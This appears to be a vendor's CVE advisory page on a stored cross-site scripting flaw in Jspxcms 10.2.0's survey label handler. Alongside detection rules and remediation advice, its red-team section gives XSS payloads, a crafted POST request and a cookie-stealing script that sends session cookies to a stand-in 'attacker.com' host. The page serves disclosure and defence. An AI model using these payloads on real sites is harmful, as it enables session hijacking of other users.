CVE-2024-0721
Executive Summary
CVE-2024-0721 is a stored cross-site scripting (XSS) vulnerability identified in Jspxcms version 10.2.0. The flaw resides in the Survey Label Handler component, allowing an attacker to inject malicious scripts via survey label manipulation. With a CVSS score of 3.5 (Low severity), the attack requires user interaction but can be launched remotely. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a significant concern for organizations using Jspxcms.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Jspxcms is a Java-based content management system distributed as a WAR file or via source code. While not a package manager ecosystem (NPM, PyPI, Go, Ruby), the vulnerability affects the core application. Organizations should verify the integrity of their Jspxcms distribution and monitor for any unofficial patches or updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The low severity reflects the need for user interaction and limited impact. However, the public availability of exploit code elevates the practical risk.
Deep Dive & Mechanics
The vulnerability exists in the Survey Label Handler of Jspxcms 10.2.0. This component processes user-supplied labels for survey questions or options. Due to insufficient input validation and output encoding, an attacker can inject arbitrary HTML or JavaScript code into the label field.
When an administrator or user views the survey (e.g., in the admin panel or a public survey page), the injected script executes in their browser context. This can lead to session hijacking, defacement, or redirection to malicious sites.
The attack flow:
- Attacker identifies a survey creation or editing endpoint.
- Attacker submits a survey label containing a malicious payload, e.g.,
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- When a victim views the survey, the payload is rendered and executed.
Vulnerable vs. Patched Code
Since no official patch exists, the vulnerable code is presumed to be in the Survey Label Handler. A typical vulnerable pattern in Java/JSP might look like:
// Vulnerable code - directly outputs user input without encoding
String label = request.getParameter("label");
out.println("<label>" + label + "</label>");
A patched version would use proper output encoding:
// Patched code - uses HTML encoding
String label = request.getParameter("label");
String encodedLabel = StringEscapeUtils.escapeHtml4(label);
out.println("<label>" + encodedLabel + "</label>");
Exploitation & Lab Setup
Red Team
Prerequisites:
- Jspxcms 10.2.0 instance (e.g., Docker or local deployment)
- Access to survey creation functionality (may require authentication)
Exploit Steps:
Identify Survey Endpoint: Locate the survey creation form, typically at
/survey/createor similar.Craft Payload: Use a simple XSS payload:
<script>alert(document.cookie)</script>Submit Malicious Label: Intercept the request with Burp Suite or similar, and modify the label parameter:
POST /survey/create HTTP/1.1 Host: target.com ... label=<script>alert(document.cookie)</script>&...Trigger Execution: Have an administrator or user view the survey. The script executes in their browser.
Advanced Payload: For session hijacking:
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team
Detection:
- Monitor for unusual survey label submissions containing
<script>,<img onerror>, or other HTML event handlers. - Use WAF rules to block common XSS patterns in survey-related parameters.
Hunting:
- Search logs for requests to
/survey/createor/survey/editwith suspicious parameters. - Look for outbound connections from the Jspxcms server to unknown IPs (potential data exfiltration).
Lab Setup:
- Deploy Jspxcms 10.2.0 in a sandboxed environment.
- Use a web application firewall (e.g., ModSecurity) to test detection rules.
- Simulate the attack and verify alerts.
Indicators of Compromise (IOCs)
Network:
- HTTP requests to
/survey/createor/survey/editwith parameters containing<script>oronerror=patterns. - Outbound HTTP requests to unknown IPs from the Jspxcms server (potential callback).
- HTTP requests to
Host:
- Log entries showing survey label fields with HTML tags.
- Unexpected JavaScript execution in browser developer tools.
File:
- Modified survey data in the database containing script tags.
Detection Engineering
YARA Rule
rule CVE_2024_0721_Jspxcms_XSS {
meta:
description = "Detects XSS payloads targeting Jspxcms Survey Label Handler"
author = "Valters IT"
date = "2024-01-01"
cve = "CVE-2024-0721"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-0721 Jspxcms Survey Label XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in Jspxcms survey label parameters
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/survey/'
cs-uri-query|contains|all:
- 'label='
- '<script'
condition: selection
falsepositives:
- Legitimate use of HTML in survey labels (unlikely)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-0721 Jspxcms Survey Label XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/survey/"; http_uri;
content:"label="; http_client_body;
pcre:"/<script[^>]*>/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable Survey Functionality: If not critical, disable the survey module in Jspxcms.
- Input Validation: Implement server-side validation to strip or encode HTML tags from survey labels.
- Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
Long-term Fix:
- Apply a vendor patch when available.
- Upgrade to a patched version of Jspxcms.
- Consider migrating to a supported CMS if no patch is released.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block XSS patterns.
- Use Content Security Policy (CSP) headers to mitigate script execution.
- Restrict access to survey creation endpoints to trusted users only.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.